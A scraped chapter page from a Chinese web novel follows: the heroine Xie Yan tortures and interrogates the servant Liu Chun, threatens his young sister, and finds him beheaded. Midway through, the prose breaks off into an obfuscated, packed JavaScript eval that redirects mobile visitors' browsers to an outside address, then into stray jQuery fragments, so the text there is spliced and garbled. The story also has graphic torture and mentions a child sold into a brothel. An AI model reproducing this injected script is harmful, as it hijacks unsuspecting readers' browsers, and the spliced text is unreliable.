默认冷灰
24号文字
方正启体

13. 啊!死了

作者:北宫卅本书字数:K更新时间:
    夜阑人静时,谢延潜行至谢府的柴房,明日一早刘纯就要被送到官府了,有什么该问的,今天之内她得问个明白。


    今夜刘纯被捆在柴房,本来也只是一个无足轻重的小小侍卫,再加上他那双几乎被打折了的腿——以此时刘纯的状态,就算他是插着翅膀都跑不了,因此府内也没有特地派人看守,谢延一路进到柴房,畅通无阻。


    门“吱呀——”一声被她推开。


    刘纯的双手被沉重的铁链拴在一起,动倒是可以一动,却是不方便,于是他干脆连府里夜间送来的吃食也是一点也没动过。


    不过是这种残羹冷饭的话,动了跟没动其实也没有很大区别……或许官府的牢饭品相都比这几坨蔫了吧唧的东西好吧。


    刘纯的下半身被打得近乎血肉模糊,整个人原是半死不活的状态,听到声后才慢慢睁开眼,双目空洞无神地看向天花板,却是先冷笑一声。


    “事情黄了,你杀了我吧。”


    什么事情黄了?


    谢延蹙眉沉思,陷害她偷朝珠,还是什么别的事?


    刘纯的背后绝对后有人!


    许是感觉来人一直不说话有点蹊跷,刘纯像是才反应过来一般,猛然转过头来打量,一见是谢延,竟倒吸了一口凉气。


    “谁指使你的。”谢延半蹲下身,从袖中翻出一把匕首架在刘纯颈侧。


    但刘纯却权当做没看见,愣是一把攥住了谢延抵在自己喉咙边的匕首往里面压了几分。


    刹那间,鲜血如注。


    谢延没料到对方会是这个反应,忙把匕首岔开,扇了他一巴掌:“你他妈有病吧?!”


    刘纯被打,脸上火辣辣的疼,却也不生气,只是恍恍惚惚地伸手碰了碰被打的脸颊:“有病?”


    “……对、对啊!我就是有病啊。”说着便神神叨叨地开始颠笑起来。


    “哈哈哈哈——我有病!全碇城的人都有病!哈哈哈哈!!”


    他的表情逐渐扭曲起来,谢延没这个耐心看他发疯,她板着个脸,抬手往刘纯身上几处穴位点去,对方这才安静下来,但依旧呼吸急促地喘着。


    “换个问题。”


    “你任务失败,别说现在在谢府了,就是你明天进了官府也活不成吧?”


    “你现在是弃子啊,刘纯。”谢延邪魅一笑,不时地开始奚落。


    刘纯冷哼一声:“那又如何?你也不过是谢杉捡来的一条狗罢了。”


    “狗?”谢延冷笑一声。


    “你要不再仔细看清我是谁?”


    听对方冷不丁来了这么一句,刘纯心里只觉奇怪,不耐烦地睁眼一看。


    只一眼,他的双眼就忽地睁大。


    “你……”


    刘纯不知自己现在是惊多还是怕多,因为他面前站着一个本来不该存在于尘世间的人。


    谢延被沉江时他在场,是亲眼看着这位大小姐入水没了生息后才敢松口气的,可现在……刘纯的脊背发凉,像是有百多只蜘蛛在自己背上来回爬一般诡异。


    “大、大小姐。”他声音带着颤,有点口齿不清……面前的是自己的错觉吗?


    刘纯忍不住伸手用力揉搓了一下双眼。


    可这确确实实就是从前被他自己告到官府的大小姐!


    想到这里,刘纯又忍不住颠笑起来。


    及玉及玉,合起来不就是个‘延’?!


    哈哈哈哈哈,我刘纯一世拘谨,在此处竟没发现这端倪,早知如此,何必当初?!


    江神大人当时没有收了她,这是……这是谢延化身厉鬼来寻仇了!


    “我记得你有个妹妹养在城南,算算日子,今年也该十一了吧?”


    谢延早就变回了最原来的容貌,面若稚子,脸色却死白死白的不似活物,充满了鬼感。


    虽然她是心平气和地说话,语气就跟普普通通地唠家常一般,但说出来的话却总是令人汗颜。


    只见刘纯听到她这话后瞳孔猛地一缩,谢延就知道她方向应该找对了。


    “十一岁的姑娘,要是没个人照拂,在这吃人不吐骨头的地方怕是没几天活头。”


    谢延一面玩转着手上的匕首,一面漫不经心地试探。


    “刘纯,你欠我一条命,你说,我是现在找你讨,还是下次找你妹妹呢?”


    刘纯双目躲闪地咽了咽口水,全程闭口不言,也有可能是被吓懵了。


    隔了许久,他才像是下定决心了一般应道:“我、我一人做事一人当,你……你别去找阿妹。”


    不料谢延耻笑一声:“没想到你这种背信弃义的杂碎也有想充当英雄的时候,你配吗?”


    “再说……”


    “你以为你值几个钱?旁人抛弃的狗也敢过来跟我谈条件。”


    谢延这话把方才骂她那句狗原话扔回,一点委屈也不叫自己吃了,说话间她匕首轻轻划过刘纯的脸,留下一道细长的伤口,鲜血迅速从中渗透出来。


    刘纯面露痛色却一动也不敢动,只是小心翼翼地说道:“我、我可以告诉你……”


    “我说,我都说!”


    “你……你不要伤害阿妹!”


    “嗯。”谢延满意地点了点头,“她的命如何,那就要看你的表现了。”


    谢延用匕首将刘纯的下巴挑起:“我问你答,老实点。”


    刘纯无措地看着她,满眼的恐惧。


    “为何偷朝珠陷害我?”


    “我……我看不惯你才来一天就有独立的院落,还得了老爷珍藏的江玉剑!”刘纯喘着粗气,忿忿不平道:“明明都是下人,我当初告、告发你还立了功,凭什么我功高劳苦却还要遭人白眼!”


    因为嫉妒,所以想要栽赃陷害?理由何其自然,何其充分?但又何其漏洞百出!


    谢延目光一戾,手上翻转的匕首毫不犹豫地没入刘纯的锁骨处!


    刘纯吃痛张嘴,几欲尖叫出声,但他的口中却怎么也发不出一点声音。


    叫不出口,只能浑身不断地颤抖着,可他每动一下,在身上扎了个对穿的伤口就会产生阵阵刺痛,触及神经,痛不欲生。


    手持匕首的谢延此刻笑得就像地狱爬出来的索命恶鬼:“你不够听话哦,这一刀是警告。”


    说着她手腕翻动,匕首跟着转了半几寸:“不过是穿了你的琵琶骨你便要生


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249072|197915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要死,刘纯,你想不想知道被沉江的时候有多苦?”


    刘纯连连摇头,眼神涣散不已,已然是害怕极了。


    “继续我问你答,这回好好答哟……你身上骨凸肌厚之处,皆是刺之立痛却无伤命所在,你应该不会想要我陪你逐一试来吧?”


    “不过正巧我有的是耐心呢。”


    “我说……我真说……不要……”刘纯用近乎哀求的声音答复着,狼狈又卑微,确又丝毫引不起谢延的同情。


    因为她知道,面前人不配得到任何人的同情。


    你说他担心自己南城的妹妹?是真的担心吗?还是自我感动?


    想当初他妹妹九岁的时候就是被这种畜生不如的人卖到南城青楼的!


    小姑娘才九岁就被他卖作旁人的跨下玩物,成了他每个月的自动取款机……这种人又怎么会主动担心别人的死活呢?!


    他到底是担心自己的妹妹,还是担心别的什么不为人知的东西?


    谢延嗤笑不已。


    “第二个问题,当时你是如何得知药方不对的?”


    这其实也是谢延最想知道的,明明当时刘纯只是个外院的侍卫,哪里来的消息得知谢康的药方有问题,还跑去官府告密?


    刘纯一听这个问题就缩了缩脑袋,这事事关他身后的人,他到底是不敢说的,但是……


    嘶——


    谢延手上的匕首狠狠地转了半个圈,刘纯差点当场疼晕过去,他挣扎着要开口,却听此时谢延低喝了一声:“谁!”


    刘纯痛得失语,慌乱想要间举起颤颤巍巍的手以示投降,可下一秒,插在他锁骨处的匕首就被迅速拔出。


    血珠飞溅的同时,谢延将匕首往窗外直直掷去,锋利的匕首就像一把离弦的利箭一般破空而出,外面马上传来一声闷哼。


    打中了!


    可当谢延追出去时,柴房外面已然空无一人,她蹙眉向四周仔细打量,却只在一处隐蔽的角落发现一小片扯落的衣角。


    衣角上还带着血,血迹未干,十有八九就是方才那人留下的。


    谢延小心翼翼地将其拿起来打量一二,桃红色的衣角上还带着淡淡的胭脂气,还有一股……她一时也说不出来是什么,有点像香灰的味道?


    所以刚才站在外面的是一个女人?


    思付间,谢延把衣角小心收入袖中,打算还是先回去继续审问刘纯的要紧。


    可正当她欲抬步往回走时,有听屋内一声闷响。


    谢延心下大惊,忙冲入柴房,但当她看清面前之物时,整个人如遭雷劈,像是被钉死在原地一般。


    刘纯的脑袋滚落在柴房的地上,正面朝上,眼里充满了恐惧,而柴房侧边的门窗大开,行凶之人想来是从这儿跑的。


    他妈的!她居然被调虎离山了!就在方才那短短的一瞬,她唯一的线索被别人头身分离了。


    谢延一怒之下,一拳捣向墙壁,墙上直接被她凿出了一个深坑,她的骨节被擦破了皮,鲜血从伤口间流出,瞬间染红了墙面。


    阵阵钝痛从指节处传来,谢延也不在意,任由血液滴滴答答地坠落,砸在地上开出几瓣血花……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)